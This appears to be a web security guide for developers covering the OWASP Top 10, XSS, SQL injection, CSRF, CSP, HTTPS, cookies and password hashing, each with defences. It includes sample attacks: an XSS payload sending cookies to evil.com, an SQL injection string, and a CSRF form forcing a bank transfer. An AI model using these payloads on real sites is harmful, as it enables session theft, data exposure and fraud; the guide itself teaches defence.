Every web application is a target. From solo side projects to enterprise platforms, the moment your code is accessible on the internet, it faces automated scanners, opportunistic bots, and motivated attackers. The good news is that the vast majority of web vulnerabilities fall into a handful of well-understood categories — and all of them are preventable. This guide covers the most critical attack vectors that every web developer must understand, along with concrete defences you can implement today.

The OWASP Top 10: Your Security Roadmap

The Open Worldwide Application Security Project (OWASP) publishes a periodically updated list of the ten most critical web application security risks. The 2021 edition (the latest as of this writing) includes:

  1. Broken Access Control — users accessing data or functions they shouldn't
  2. Cryptographic Failures — weak encryption, exposed secrets
  3. Injection — SQL injection, command injection, LDAP injection
  4. Insecure Design — architectural flaws that no amount of code fixes can patch
  5. Security Misconfiguration — default credentials, unnecessary features enabled
  6. Vulnerable & Outdated Components — unpatched libraries and frameworks
  7. Identification & Authentication Failures — weak passwords, missing MFA
  8. Software & Data Integrity Failures — untrusted CI/CD pipelines, insecure deserialization
  9. Security Logging & Monitoring Failures — breaches go undetected
  10. Server-Side Request Forgery (SSRF) — tricking the server into making unintended requests

Let's dive deep into the vulnerabilities most commonly encountered by front-end and full-stack developers.

Cross-Site Scripting (XSS)

XSS occurs when an attacker injects malicious scripts into web pages viewed by other users. It remains one of the most prevalent vulnerabilities on the web. There are three main types:

Reflected XSS

The malicious script comes from the current HTTP request. For example, a search page that reflects the query parameter directly into the HTML:

Vulnerable Code (PHP)
<!-- ❌ VULNERABLE -->
<p>You searched for: <?= $_GET['q'] ?></p>

<!-- Attacker crafts URL: -->
<!-- /search?q=<script>document.location='https://evil.com/steal?c='+document.cookie</script> -->

Stored XSS

The malicious script is permanently stored on the server (e.g., in a database) and served to every user who views the affected page — comment sections and user profiles are common targets.

DOM-Based XSS

The vulnerability exists in client-side JavaScript that processes data from an untrusted source (like location.hash) and writes it to the DOM without sanitization.

Preventing XSS

  • Escape output — always encode user-supplied data before rendering it in HTML. Use htmlspecialchars() in PHP, template auto-escaping in frameworks like React, Angular, or Twig.
  • Use Content Security Policy headers (discussed below).
  • Avoid innerHTML — use textContent or framework-provided safe rendering methods.
  • Sanitize rich text — if you must accept HTML input, use a well-maintained sanitizer like DOMPurify.
  • URL-encode dynamic URL parameters — especially when constructing links with user input.
Safe Output Encoding (PHP)
<!-- ✅ SAFE -->
<p>You searched for: <?= htmlspecialchars($_GET['q'], ENT_QUOTES, 'UTF-8') ?></p>

SQL Injection

SQL injection happens when user input is concatenated directly into a SQL query, allowing an attacker to manipulate the query's logic:

SQL Injection Example
# ❌ VULNERABLE — string concatenation
query = "SELECT * FROM users WHERE username = '" + username + "'"

# Attacker enters: ' OR '1'='1
# Resulting query:
# SELECT * FROM users WHERE username = '' OR '1'='1'
# → Returns ALL users

Preventing SQL Injection

  1. Use parameterized queries (prepared statements) — this is the single most effective defence.
  2. Use an ORM — frameworks like Eloquent, SQLAlchemy, or Prisma handle parameterization for you.
  3. Validate input types — if you expect an integer ID, cast it to an integer.
  4. Apply the principle of least privilege — your database user should only have the permissions it needs.
Parameterized Query (PHP PDO)
// ✅ SAFE — parameterized query
$stmt = $pdo->prepare('SELECT * FROM users WHERE username = :username');
$stmt->execute(['username' => $input]);
$user = $stmt->fetch();
Parameterized Query (Node.js / PostgreSQL)
// ✅ SAFE
const result = await pool.query(
  'SELECT * FROM users WHERE username = $1',
  [username]
);

Cross-Site Request Forgery (CSRF)

CSRF tricks an authenticated user's browser into making an unintended request to a site where they are logged in. For example, an attacker could embed an image tag or auto-submitting form on their site that targets your banking application:

CSRF Attack Example
<!-- On attacker's site -->
<form action="https://bank.com/transfer" method="POST" id="evil">
  <input type="hidden" name="to" value="attacker_account">
  <input type="hidden" name="amount" value="10000">
</form>
<script>document.getElementById('evil').submit();</script>

Preventing CSRF

  • Use anti-CSRF tokens — include a unique, unpredictable token in each form and validate it on the server. Most frameworks (Laravel, Django, Rails) include this automatically.
  • Use the SameSite cookie attribute — set SameSite=Lax or SameSite=Strict on session cookies.
  • Verify the Origin and Referer headers on state-changing requests.
  • Require re-authentication for sensitive actions (e.g., changing email or password).

Content Security Policy (CSP)

A Content Security Policy is an HTTP response header that tells the browser which sources of content are allowed to load on your page. It is one of the most powerful defences against XSS:

Content Security Policy Header
Content-Security-Policy:
  default-src 'self';
  script-src 'self' https://cdn.example.com;
  style-src 'self' 'unsafe-inline';
  img-src 'self' data: https:;
  font-src 'self' https://fonts.googleapis.com;
  connect-src 'self' https://api.example.com;
  frame-ancestors 'none';
  base-uri 'self';
  form-action 'self';

With this policy, inline scripts without a nonce are blocked, scripts can only load from your own domain and the specified CDN, and the page cannot be embedded in iframes (preventing clickjacking). Start with Content-Security-Policy-Report-Only to monitor violations before enforcing.

HTTPS & Transport Security

HTTPS encrypts all data between the client and server, preventing eavesdropping, tampering, and man-in-the-middle attacks. In 2025, HTTPS is not optional — it is a baseline requirement.

  • Get a free certificate from Let's Encrypt.
  • Redirect all HTTP to HTTPS — enforce this at the server level.
  • Enable HSTS — the Strict-Transport-Security header tells browsers to always use HTTPS:
HSTS Header
Strict-Transport-Security: max-age=63072000; includeSubDomains; preload

Secure Cookie Configuration

Session cookies are the keys to your users' accounts. Misconfigured cookies are a common source of session hijacking:

Secure Cookie Attributes
Set-Cookie: session_id=abc123;
  HttpOnly;      /* Not accessible via JavaScript */
  Secure;        /* Only sent over HTTPS */
  SameSite=Lax;  /* Mitigates CSRF */
  Path=/;
  Max-Age=3600;  /* Expires in 1 hour */
  • HttpOnly — prevents JavaScript from reading the cookie, neutralizing XSS-based session theft.
  • Secure — ensures the cookie is never sent over unencrypted HTTP.
  • SameSite — controls whether the cookie is sent with cross-site requests. Lax is a good default; Strict is more secure but may break some legitimate flows.

Password Hashing

Never store passwords in plain text. Never use MD5 or SHA-1 for passwords. These are fast hash functions — and speed is the enemy of password storage because it enables brute-force attacks.

Use a slow, salted, adaptive hashing algorithm designed specifically for passwords:

Password Hashing (PHP)
// ✅ Using bcrypt via PHP's password API
$hash = password_hash($password, PASSWORD_BCRYPT, ['cost' => 12]);

// Verification
if (password_verify($inputPassword, $storedHash)) {
    // Password is correct
}

// Check if rehashing is needed (e.g., cost was increased)
if (password_needs_rehash($storedHash, PASSWORD_BCRYPT, ['cost' => 12])) {
    $newHash = password_hash($inputPassword, PASSWORD_BCRYPT, ['cost' => 12]);
    // Update stored hash in database
}
Password Hashing (Node.js)
const bcrypt = require('bcrypt');
const saltRounds = 12;

// Hash
const hash = await bcrypt.hash(password, saltRounds);

// Verify
const match = await bcrypt.compare(inputPassword, storedHash);

Recommended algorithms in order of preference: Argon2id (winner of the Password Hashing Competition), bcrypt, scrypt. All three are intentionally slow and include built-in salting.

Input Validation & Output Encoding

These two principles form the foundation of secure coding:

  • Input validation — verify that incoming data matches expected types, lengths, formats, and ranges. Reject anything that doesn't conform. Use allowlists (known-good patterns) rather than denylists (known-bad patterns).
  • Output encoding — escape data for the context in which it's used. HTML context needs HTML encoding, JavaScript context needs JS encoding, URL context needs percent-encoding, and SQL context needs parameterized queries.

These are complementary — validation alone cannot prevent XSS if you render unescaped output, and encoding alone cannot fix a SQL injection if you concatenate queries.

Security Headers Checklist

Beyond CSP and HSTS, consider adding these headers to every response:

Recommended Security Headers
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
Referrer-Policy: strict-origin-when-cross-origin
Permissions-Policy: camera=(), microphone=(), geolocation=()
Cross-Origin-Opener-Policy: same-origin
Cross-Origin-Resource-Policy: same-origin

You can audit your headers at securityheaders.com to see how your site scores.

Conclusion

Web security is not a feature you bolt on at the end — it must be woven into every layer of your application from the start. The attacks described here are well-documented, well-understood, and entirely preventable. Use parameterized queries to stop SQL injection. Encode output to stop XSS. Add CSRF tokens and SameSite cookies to prevent forged requests. Hash passwords with bcrypt or Argon2. Serve everything over HTTPS. And deploy a Content Security Policy to act as your last line of defence. No application is too small to deserve these protections.

Encode Data Safely Online

Proper encoding is a cornerstone of web security. Use our free tools to URL-encode parameters or Base64-encode data for safe transport.